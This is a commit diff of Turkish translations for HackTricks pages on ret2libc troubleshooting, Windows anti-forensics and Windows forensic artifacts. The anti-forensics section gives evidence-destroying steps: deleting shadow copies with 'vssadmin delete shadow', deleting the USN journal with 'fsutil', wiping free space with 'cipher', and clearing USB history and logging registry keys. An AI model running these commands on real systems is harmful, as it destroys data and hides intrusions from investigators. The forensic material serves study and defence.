Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/

This commit is contained in:
Translator 2024-05-02 15:12:16 +00:00
parent 0f9a1e26fa
commit e6a783d0c9
37 changed files with 1323 additions and 1273 deletions

View file

@ -8,13 +8,13 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -204,9 +204,9 @@ P.interactive() #Interact with your shell :)
```
{% endcode %}
## Sık Karşılaşılan Sorunlar
## Ortak problemler
### MAIN_PLT = elf.symbols\['main'] bulunamadı
### MAIN\_PLT = elf.symbols\['main'] bulunamadı
Eğer "main" sembolü mevcut değilse (muhtemelen çıkarılmış bir ikili dosya olduğu için). O zaman sadece main kodunun nerede olduğunu bulabilirsiniz:
```python
@ -226,11 +226,11 @@ Eğer ikili dosya Puts kullanmıyorsa, **kullanıp kullanmadığını kontrol et
Bu **hata**yı tüm saldırıyı oluşturduktan sonra bulursanız: `sh: 1: %s%s%s%s%s%s%s%s: not found`
**"/bin/sh" adresinden 64 bayt çıkarın**:
Deneyin **"/bin/sh" adresinden 64 bayt çıkarmayı**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -1,42 +1,42 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Zaman Damgaları
Bir saldırgan, **dosyaların zaman damgalarını değiştirmek** isteyebilir.\
Bir saldırgan, **dosyaların zaman damgalarını değiştirmek** isteyebilir ve tespit edilmekten kaçınabilir.\
Zaman damgalarını MFT içindeki `$STANDARD_INFORMATION` ve `$FILE_NAME` özniteliklerinde bulmak mümkündür.
Her iki öznitelik de 4 zaman damgasına sahiptir: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değiştirme** (MACE veya MACB).
**Windows Gezgini** ve diğer araçlar, bilgileri **`$STANDARD_INFORMATION`** özniteliğinden gösterir.
**Windows gezgini** ve diğer araçlar, bilgileri **`$STANDARD_INFORMATION`** özniteliğinden gösterir.
## TimeStomp - Anti-forensic Aracı
## TimeStomp - Anti-forensik Aracı
Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli aktiviteleri tanımlamak mümkündür**.
Bu araç, zaman damgası bilgilerini **`$STANDARD_INFORMATION`** içinde **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli aktiviteyi tanımlamak mümkündür**.
## Usnjrnl
**USN Journal** (Güncelleme Sıra Numarası Günlüğü), NTFS (Windows NT dosya sistemi) özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesine olanak tanır.
**USN Günlüğü** (Güncelleme Sıra Numarası Günlüğü), NTFS'nin (Windows NT dosya sistemi) bir özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesine olanak tanır.
![](<../../.gitbook/assets/image (449).png>)
Önceki görüntü, **araç** tarafından gösterilen **çıktıdır** ve dosyaya bazı **değişiklikler yapıldığı** görülebilir.
Önceki görüntü, **araç** tarafından gösterilen **çıktıdır** ve dosyaya bazı **değişikliklerin yapıldığı** görülebilir.
## $LogFile
@ -46,7 +46,7 @@ Bir dosya sistemindeki **tüm meta veri değişiklikleri**, [önceden yazma gün
Yine, aracın çıktısında **bazı değişikliklerin yapıldığı** görülebilir.
Aynı araç kullanılarak **zaman damgalarının ne zaman değiştirildiği** belirlenebilir:
Aynı araç kullanılarak **zaman damgalarının ne zaman değiştirildiğini** belirlemek mümkündür:
![](<../../.gitbook/assets/image (451).png>)
@ -59,11 +59,11 @@ Aynı araç kullanılarak **zaman damgalarının ne zaman değiştirildiği** be
Şüpheli değiştirilmiş dosyaları tanımlamanın başka bir yolu, her iki öznitelikteki zamanı karşılaştırarak **uyumsuzlukları** aramaktır.
## Nanosaniyeler
## Nanosaniye
**NTFS** zaman damgalarının **100 nanosaniye** hassasiyeti vardır. Bu nedenle, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyaların bulunması çok **şüphelidir**.
**NTFS** zaman damgalarının **100 nanosaniye** hassasiyeti vardır. Dolayısıyla, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyalar bulmak çok **şüphelidir**.
## SetMace - Anti-forensic Aracı
## SetMace - Anti-forensik Aracı
Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini değiştirebilir. Ancak, Windows Vista'dan itibaren, bu bilgileri değiştirmek için canlı bir işletim sistemi gereklidir.
@ -75,17 +75,16 @@ Bu "gizli" alanda veri gizlemeyi sağlayan slacker gibi araçlar vardır. Ancak,
![](<../../.gitbook/assets/image (452).png>)
Dolayısıyla, FTK Imager gibi araçlar kullanılarak bu yarım alan alınabilir. Bu tür bir aracın içeriği şifreli veya hatta şifrelenmiş olarak kaydedebileceğini unutmayın.
Dolayısıyla, FTK Imager gibi araçlar kullanılarak bu yarım alanı kurtarmak mümkündür. Bu tür bir aracın içeriği şifreli veya hatta şifrelenmiş olarak kaydedebileceğini unutmayın.
# UsbKill
Bu, USB bağlantı noktalarında herhangi bir değişiklik algılandığında bilgisayarı **kapatır**.
Bu, **USB bağlantı noktalarında herhangi bir değişiklik algılandığında bilgisayarı kapatacak bir araçtır**.\
Bunu keşfetmenin bir yolu, çalışan işlemleri incelemek ve **çalışan her python betiğini gözden geçirmektir**.
# Canlı Linux Dağıtımları
Bu dağıtımlar **RAM bellek içinde çalıştırılır**. NTFS dosya sistemi yazma izinleriyle bağlanmışsa, bunları tespit etmenin tek yolu budur. Sadece okuma izinleriyle bağlanılmışsa, sızma tespit edilemeyecektir.
Bu dağıtımlar **RAM bellek içinde yürütülür**. Bunları tespit etmenin tek yolu, NTFS dosya sisteminin yazma izinleriyle bağlandığı durumlardır. Salt okuma izinleriyle bağlandığında, sızma algılanamaz.
# Güvenli Silme
@ -93,7 +92,7 @@ Bu dağıtımlar **RAM bellek içinde çalıştırılır**. NTFS dosya sistemi y
# Windows Yapılandırması
Dijital delillerin incelenmesini zorlaştırmak için çeşitli Windows günlükleme yöntemlerini devre dışı bırakmak mümkündür.
Forensik incelemeyi zorlaştırmak için çeşitli Windows günlükleme yöntemlerini devre dışı bırakmak mümkündür.
## Zaman Damgalarını Devre Dışı Bırakma - UserAssist
@ -101,12 +100,12 @@ Bu, her bir yürütülebilir dosyanın kullanıcı tarafından çalıştırıld
UserAssist'in devre dışı bırakılması için iki adım gereklidir:
1. UserAssist'in devre dışı bırakılmasını istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt defteri anahtarı sıfıra ayarlanır.
1. UserAssist'in devre dışı bırakılmasını istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt defteri anahtarı değerini sıfıra ayarlayın.
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>` gibi görünen kayıt defteri alt ağaçlarını temizleyin.
## Zaman Damgalarını Devre Dışı Bırakma - Prefetch
Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uygulamalar hakkında bilgi saklar. Ancak, bu aynı zamanda dijital deliller için de faydalı olabilir.
Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uygulamalar hakkında bilgi saklar. Ancak, bu aynı zamanda adli bilişim uygulamaları için de faydalı olabilir.
* `regedit`i çalıştırın
* Dosya yolunu seçin `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
@ -116,37 +115,37 @@ Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uyg
## Zaman Damgalarını Devre Dışı Bırakma - Son Erişim Zamanı
Bir NTFS birimindeki bir klasör Windows NT sunucusunda ıldığında, sistem her listelenen klasörde **bir zaman damgası alanını günceller** ve buna son erişim zamanı denir. Yoğun kullanılan bir NTFS biriminde, bu performansı etkileyebilir.
Bir NTFS birimindeki bir klasör açıldığında, sistem her listelenen klasörde **bir zaman damgası alanını günceller** ve buna son erişim zamanı denir. Yoğun kullanılan bir NTFS biriminde, bu performansı etkileyebilir.
1. Kayıt Defteri Düzenleyici'yi (Regedit.exe) açın.
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`'e göz atın.
3. `NtfsDisableLastAccessUpdate`'i arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır.
3. `NtfsDisableLastAccessUpdate`'i arayın. Var olmazsa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır.
4. Kayıt Defteri Düzenleyici'ni kapatın ve sunucuyu yeniden başlatın.
## USB Geçmişini Silme
Tüm **USB Aygıt Girişleri**, PC'nize veya Dizüstü Bilgisayarınıza bir USB Aygıtı takıldığında oluşturulan alt anahtarlar içeren **USBSTOR** kayıt defteri anahtarı altında Windows Kayıt Defterinde saklanır. Bu anahtarı burada bulabilirsiniz `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini silebilirsiniz.\
Tüm **USB Aygıt Girişleri**, PC'nize veya Dizüstü Bilgisayarınıza bir USB Aygıtı takıldığında oluşturulan alt anahtarlar içeren **USBSTOR** kaydı altında Windows Kayıt Defterinde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini silebilirsiniz.\
Ayrıca [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını kullanarak bunları sildiğinizden emin olabilirsiniz (ve silmek için).
USB'ler hakkında bilgi saklayan başka bir dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu da silinmelidir.
## Gölgeleri Devre Dışı Bırakma
## Gölge Kopyalarını Devre Dışı Bırakma
`vssadmin list shadowstorage` komutu ile gölgeleri **listele**\
`vssadmin list shadowstorage` komutu ile gölge kopyaları **listele**\
Onları silmek için `vssadmin delete shadow` komutunu çalıştırın
Ayrıca [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları takip ederek GUI üzerinden de silebilirsiniz.
Gölgeleri devre dışı bırakmak için [buradan adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin:
Gölge kopyalarını devre dışı bırakmak için [buradan adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin:
1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programınıın.
2. Listeden "Volume Shadow Copy" bulun, seçin ve ardından sağ tıklayarak Özelliklere erişin.
3. "Başlangıç türü" açılır menüsünden Devre Dışı seçin ve Değişikliği uygulamak ve Tamam'a tıklayarak değişikliği onaylayın.
3. "Başlangıç türü" açılır menüsünden Devre Dışı seçin ve ardından Değişiklikleri uygulamak ve Tamam'a tıklayarak değişikliği onaylayın.
Ayrıca hangi dosyaların gölge kopyasına kopyalanacağının yapılandırmasını kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` bölümünden değiştirmek mümkündür.
Ayrıca hangi dosyaların gölge kopyasının alınacağının yapılandırmasını kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` değiştirme olasılığı vardır.
## Silinen Dosyaları Üzerine Yazma
* `cipher /w:C` komutunu kullanarak **Windows aracını** kullanabilirsiniz: Bu, cipher'a C sürücüsü içindeki kullanılmayan disk alanından tüm verileri kaldırmasını söyler.
* `cipher /w:C` komutunu kullanarak **Windows aracını** kullanabilirsiniz: Bu, C sürücüsündeki kullanılmayan disk alanından verileri kaldırması için cipher'a işaret eder.
* [**Eraser**](https://eraser.heidi.ie) gibi araçları da kullanabilirsiniz
## Windows Olay Günlüklerini Silme
@ -165,6 +164,6 @@ Ayrıca hangi dosyaların gölge kopyasına kopyalanacağının yapılandırmas
* `fsutil usn deletejournal /d c:`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -1,26 +1,26 @@
# Windows Sanat Eserleri
# Windows Sanal Varlıklar
## Windows Sanat Eserleri
## Windows Sanal Varlıklar
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Genel Windows Sanat Eserleri
## Genel Windows Sanal Varlıklar
### Windows 10 Bildirimleri
@ -32,22 +32,25 @@ Bu SQLite veritabanı içinde, ilginç veriler içerebilecek tüm bildirimleri (
Zaman Çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve yürütülen uygulamaların **zamansal tarihçesini** sağlayan bir Windows özelliğidir.
Veritabanı `\Users\<kullanıcıadı>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve 2 dosya oluşturur, bu dosyalar [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir.**
Veritabanı `\Users\<kullanıcıadı>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve 2 dosya oluşturur, bu dosyalar [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir**.
### ADS (Alternatif Veri Akışları)
İndirilen dosyalar, nasıl indirildiğini gösteren **ADS Zone.Identifier**'ı içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın nereden indirildiği gibi **daha fazla bilgi** ekler.
İndirilen dosyalar, nasıl indirildiğini gösteren **ADS Zone.Identifier**'ı içerebilir, intranet, internet vb. Dosyanın nereden indirildiğini gösteren **URL** gibi **daha fazla bilgi** içeren bazı yazılımlar (örneğin tarayıcılar) genellikle ekler.
## **Dosya Yedekleri**
### Geri Dönüşüm Kutusu
Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde (`C:\$Recycle.bin`) bulunan **`$Recycle.bin`** klasöründe bulunabilir.\
Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu** sürücünün kökünde (`C:\$Recycle.bin`) bulunabilir.
Bu klasörde bir dosya silindiğinde 2 belirli dosya oluşturulur:
* `$I{id}`: Dosya bilgisi (ne zaman silindiği tarihi}
* `$I{id}`: Dosya bilgisi (ne zaman silindiği)
* `$R{id}`: Dosyanın içeriği
![](<../../../.gitbook/assets/image (486).png>)
Bu dosyaları kullanarak silinen dosyaların orijinal adresini ve silindiği tarihi almak için [**Rifiuti**](https://github.com/abelcheung/rifiuti2) aracını kullanabilirsiniz (Vista - Win10 için `rifiuti-vista.exe` kullanın).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
@ -58,11 +61,11 @@ Bu dosyaları kullanarak silinen dosyaların orijinal adresini ve silindiği tar
Gölge Kopyası, kullanımda oldukları zaman bile bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen Microsoft Windows'a dahil edilmiş bir teknolojidir.
Bu yedeklemeler genellikle dosya sisteminin kökündeki `\System Volume Information` inde bulunur ve adları aşağıdaki görüntüde gösterilen **UID'lerden** oluşur:
Bu yedeklemeler genellikle dosya sisteminin kökündeki `\System Volume Information` dizininde bulunur ve adları aşağıdaki görüntüde gösterilen **UID'lerden** oluşur:
![](<../../../.gitbook/assets/image (520).png>)
Forensik imajı **ArsenalImageMounter** ile bağlayarak, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) aracı bir gölge kopyasını incelemek ve hatta gölge kopya yedeklemelerinden **dosyaları çıkarmak** için kullanılabilir.
Forensik imajı **ArsenalImageMounter** ile bağlayarak, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) aracı bir gölge kopyasını incelemek ve hatta gölge kopya yedeklerinden **dosyaları çıkarmak** için kullanılabilir.
![](<../../../.gitbook/assets/image (521).png>)
@ -82,20 +85,20 @@ Bir kabuk öğesi, başka bir dosyaya erişim bilgilerini içeren bir öğedir.
### Son Belgeler (LNK)
Windows **otomatik olarak** bu **kısayolları oluşturur** kullanıcı bir dosyayı **açtığında, kullanıldığında veya oluşturduğunda**:
Windows, kullanıcı **bir dosyayı açtığında, kullanırken veya oluşturduğunda** bu **kısayolları otomatik olarak oluşturur**:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Ofis: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı oluşturulur.
Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı da oluşturulur.
Bu otomatik olarak oluşturulan bağlantı dosyaları, **köken hakkında bilgi içerir** eğer bir **dosya** **ise** veya bir **klasör** **ise**, dosyanın **MAC** **zamanları**, dosyanın nerede depolandığına dair **hacim bilgileri** ve **hedef dosyanın klasörü**. Bu bilgiler, silinmiş olsalar bile bu dosyaları kurtarmak için faydalı olabilir.
Bu otomatik olarak oluşturulan bağlantı dosyaları, köken hakkında bilgi içerir, dosya mı yoksa klasör mü olduğu, o dosyanın **MAC zamanları**, dosyanın nerede depolandığına dair **hacim bilgileri** ve **hedef dosyanın klasörü**. Bu bilgiler, silinmiş olsalar bile bu dosyaları kurtarmak için faydalı olabilir.
Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı zaman** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın **en son** **kullanıldığı zaman** olarak belirlenir.
Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk kez kullanıldığı zaman** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın **en son ne zaman kullanıldığı** zamanıdır.
Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) kullanabilirsiniz.
Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) aracını kullanabilirsiniz.
Bu araçlarda **2 set** zaman damgası bulacaksınız:
Bu araçta **2 set** zaman damgası bulacaksınız:
* **İlk Set:**
1. Dosya Değiştirme Tarihi
@ -114,19 +117,15 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
### Jumplists
Bu durumda, bilgiler bir CSV dosyasında saklanacak.
Bu, her uygulama için gösterilen son dosyalardır. **Uygulama tarafından kullanılan son dosyaların listesi**'dir ve her uygulamada erişebileceğiniz bir listedir. Bunlar **otomatik olarak oluşturulabilir veya özel olabilir**.
**Jumplists**
Otomatik oluşturulan **jumplist'ler**, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` dizininde saklanır. Jumplist'ler, başlangıç ID'si uygulamanın ID'si olan `{id}.autmaticDestinations-ms` formatını takip eder.
Bunlar, her uygulama için gösterilen son dosyalardır. **Bir uygulama tarafından kullanılan son dosyaların listesi**'dir ve her uygulamada erişebileceğiniz listedir. Bunlar **otomatik olarak oluşturulabilir veya özelleştirilebilir**.
Özel jumplist'ler, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` dizininde saklanır ve genellikle uygulama tarafından dosya ile ilgili bir şeyin **önemli** olduğu belirtildiğinde oluşturulur (belki favori olarak işaretlenmiştir).
Otomatik olarak oluşturulan **jumplists**, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` dizininde saklanır. Jumplists, başlangıç ID'si uygulamanın ID'si olan `{id}.autmaticDestinations-ms` formatını takip eden şekilde adlandırılır.
Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **erişildiği ilk zamanı** gösterir ve **değiştirilme zamanı** ise son zamanı gösterir.
Özel jumplists, `C:\Users\{kullanıcıadı}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` dizininde saklanır ve genellikle uygulama tarafından dosya ile ilgili **önemli bir şey** olduğunda oluşturulur (belki favori olarak işaretlenmiştir).
Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **erişildiği ilk zamanı** gösterir ve **değiştirilme zamanı** en son zamanı gösterir.
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md) kullanarak jumplists'leri inceleyebilirsiniz.
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md) kullanarak jumplist'leri inceleyebilirsiniz.
![](<../../../.gitbook/assets/image (474).png>)
@ -140,9 +139,9 @@ Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **erişildiği ilk
Bir USB cihazının kullanıldığını belirlemek mümkündür çünkü şunlar oluşturulur:
* Windows Recent Klasörü
* Microsoft Office Recent Klasörü
* Jumplists
* Windows Son Klasörü
* Microsoft Office Son Klasörü
* Jumplist'ler
Bazı LNK dosyalarının orijinal yola değil, WPDNSE klasörüne işaret ettiğini unutmayın:
@ -150,25 +149,25 @@ Bazı LNK dosyalarının orijinal yola değil, WPDNSE klasörüne işaret ettiğ
WPDNSE klasöründeki dosyalar orijinal dosyaların bir kopyasıdır, bu nedenle PC'nin yeniden başlatılmasını sağlamazlar ve GUID bir shellbag'den alınır.
### Registry Bilgileri
### Kayıt Defteri Bilgileri
USB bağlı cihazlar hakkında ilginç bilgiler içeren kayıt defteri anahtarlarının neler olduğunu öğrenmek için [bu sayfaya bakın](interesting-windows-registry-keys.md#usb-information).
### setupapi
USB bağlantısının ne zaman oluşturulduğu hakkında zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` arayın).
USB bağlantısının ne zaman oluşturulduğu hakkında zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` için arama yapın).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Dedektifi
[**USBDetective**](https://usbdetective.com), bir görüntüye bağlanan USB cihazları hakkında bilgi edinmek için kullanılabilir.
